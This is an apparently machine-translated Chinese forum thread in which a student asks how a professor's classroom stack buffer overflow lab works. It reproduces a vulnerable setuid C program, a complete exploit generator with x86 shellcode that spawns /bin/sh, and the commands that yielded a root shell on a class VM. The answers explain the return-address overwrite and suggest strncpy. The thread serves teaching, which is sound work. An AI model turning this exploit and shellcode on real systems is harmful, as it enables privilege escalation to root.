缓冲区溢出实现

Buffer overflow implementation

我的教授为我们上传了一个缓冲区溢出的例子,但并没有很好地解释它。基本上,他利用缓冲区溢出来生成具有 root 权限的 shell。我希望有人能够向我准确解释他的示例代码中发生了什么。他使用了两个C文件,第一个是易受攻击的程序。

    /* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

第二个代码是漏洞。

/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl [=11=]x68732f2f */
"\x68""/bin" /* pushl [=11=]x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb [=11=]x0b,%al */
"\xcd\x80" /* int [=11=]x80 */
;

unsigned int get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr;
    int ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]);

    ptr = buffer;
    a_ptr = (long *) ptr;

    memset(buffer, 0x90, buffSize);

    ret = get_sp() + offset;
    printf("Return Address: 0x%x\n", get_sp());
    printf("Address: 0x%x\n", ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for(i = 0; i < 300; i += 4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486; i < codeSize + 486; ++i)
    {
        buffer[i] = shellcode[i-486];
    }

    buffer[buffSize-1] = '[=11=]';

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

然后他从命令行使用这些命令

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

我在我们为 class 设置的 Ubuntu VM 上测试了它,它获得了 root 访问权限,但我只是不明白如何。他还让我们考虑如何改进代码,欢迎提出任何建议!

我当然不是漏洞利用专家,但这就是我的理解(希望有帮助):

被利用的程序

以下两行有问题,因为您正试图将一个 517 字节的缓冲区复制到一个 12 字节容量的缓冲区中。 strcpy 不够聪明,无法在 12 个字节后停止写入 buffer,因此它会写入内存中的某个位置,覆盖那里的任何内容。

char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

由于您的程序具有 运行 root 权限,因此写入内存的任何内容都可以 运行 具有相同的权限。

漏洞利用程序

Exploit 包含一个能够生成新 shell 实例的汇编代码。此代码将写入 badfile,在前 12 个字节之后的位置。这是因为前 12 个字节适合被攻击程序的缓冲区。这个文件稍后被读取到这个缓冲区,然后复制到(到小)str 缓冲区,这意味着除了前 12 个字节之外的任何东西,将被放置在(root 特权)被利用程序的内存中的某个地方.

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl [=11=]x68732f2f */
"\x68""/bin" /* pushl [=11=]x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb [=11=]x0b,%al */
"\xcd\x80" /* int [=11=]x80 */
;

最后,漏洞利用的作用是,将注入的代码压入堆栈,并重写 return 地址,以便执行注入的代码。正如@artless noise 在评论中所建议的那样,这是在这里完成的:

for(i = 0; i < 300; i += 4)
{
    *(a_ptr++) = ret;
}

有关堆栈外观的解释,请参阅 this article 和那里的有用图表。

当然,一切皆有可能,因为被攻击的程序运行具有root权限。那是因为你已经 运行 这个命令作为 root:

# chmod 4755 stack

第一个数字,4,意味着这个文件(stack二进制文件)将以拥有这个文件的用户的权限被调用,而不是调用它的用户(这是默认行为)。这称为 setuuid。否则,攻击者将能够获得启动 stack 的用户的特权,该用户的特权将低于 root。

作为旁注,这正是为什么强烈建议不要 运行 任何守护程序作为根(即 HTTP 服务器)的原因。缓冲区溢出漏洞总是可以被发现,即使是在最好、最安全的代码库中。 运行 作为普通用户的程序使攻击者很难造成真正的伤害。

@kamituel 很好地解释了漏洞利用的工作原理,并提示了如何改进代码

strcpy isn't smart enough to stop writing to buffer after 12 bytes, ...

更正此问题的方法是使用 strncpy。这个函数的行为就像 strcpy 除了 它限制了可以复制的字节数。因此,您可以通过将副本限制为缓冲区中可用的 12 个字节来防止缓冲区溢出攻击。